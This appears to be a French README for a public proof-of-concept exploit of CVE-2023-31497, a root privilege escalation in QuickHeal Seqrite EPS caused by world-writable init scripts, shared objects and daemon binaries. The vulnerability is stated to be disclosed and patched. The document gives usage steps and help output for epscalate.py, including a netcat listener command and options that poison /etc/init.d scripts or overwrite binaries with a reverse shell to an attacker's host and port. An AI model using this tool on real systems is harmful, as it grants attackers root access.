
Exploit pour une vulnérabilité d'élévation de privilèges dans QuickHeal Seqrite EPS (CVE-2023-31497).
Une vulnérabilité d'élévation de privilèges dans la solution de sécurité Seqrite Enterprise Endpoint Security (EPS) de QuickHeal. Cette vulnérabilité s'est vu attribuer l'ID CVE CVE-2023-31497.
Seqrite endpoint security, lors de son installation par défaut, s'installe dans /usr/lib/Seqrite/ avec des permissions de répertoire et de fichier très faibles, accordant à un utilisateur local un accès complet en lecture/écriture au contenu du répertoire. De plus, la procédure d'installation place ses scripts de démarrage dans /etc/init.d/, lesquels sont modifiables par tout le monde. Cela permet à tout utilisateur à faible privilège sur le système d'élever ses privilèges à root.
L'exploit exploite 2 vulnérabilités différentes introduites par le logiciel pour élever les privilèges sur le système. Premièrement, le fait que l'application utilise des scripts dans /etc/init.d/ pour lancer ses processus d'analyse, scripts qui peuvent être écrits par n'importe quel utilisateur. Deuxièmement, l'application utilise des objets partagés pour charger dynamiquement du code indépendant de la position (PIC) lors de l'exécution. En fait, tous les fichiers objets partagés exécutables sont modifiables par tout le monde. Enfin, les binaires de l'application utilisés pour le processus démon sont modifiables par tout le monde, ce qui signifie essentiellement que tout utilisateur non privilégié peut écraser les binaires de l'analyseur avec un binaire de reverse shell pour exécuter du code arbitraire en tant que root.
L'exploit est un simple fichier Python qui facilite l'exploitation de la vulnérabilité.
Étapes :
nc -lvp <port>) ou metasploit (multi/handler).epscalate.py et shellcode.c sur le système cible.python3 epscalate.py -H 192.168.0.103:9999 -I).Aide de l'exploit :
$ python epscalate.py -h
EPSCALATE - PoC pour l'escalade de privilèges dans Seqrite EPS
~ 0xInfection
usage: epscalate.py -H <host>:<port> <technique_flag>
options:
-h, --help affiche ce message d'aide et quitte
-H HOSTPORT, --hostport HOSTPORT
L'IP et le port de la machine d'écoute de l'attaquant au format <ip>:<port>
-B, --daemon-binaries
Écraser les binaires principaux du démon pour élever les privilèges.
-I, --initd-scripts Empoisonner les scripts de démarrage bash /etc/init.d/ avec un reverse shell pour élever les privilèges.
L'exploit a été testé sur toutes les variantes de systèmes d'exploitation basées sur Debian et Ubuntu.
Le code de l'exploit a été publié sous la licence Apache 2.0. La vulnérabilité a été divulguée au vendeur et a été corrigée au moment de la publication de la vulnérabilité.
Crédits de la vulnérabilité et de l'exploit : Pinaki Mondal (0xInfection).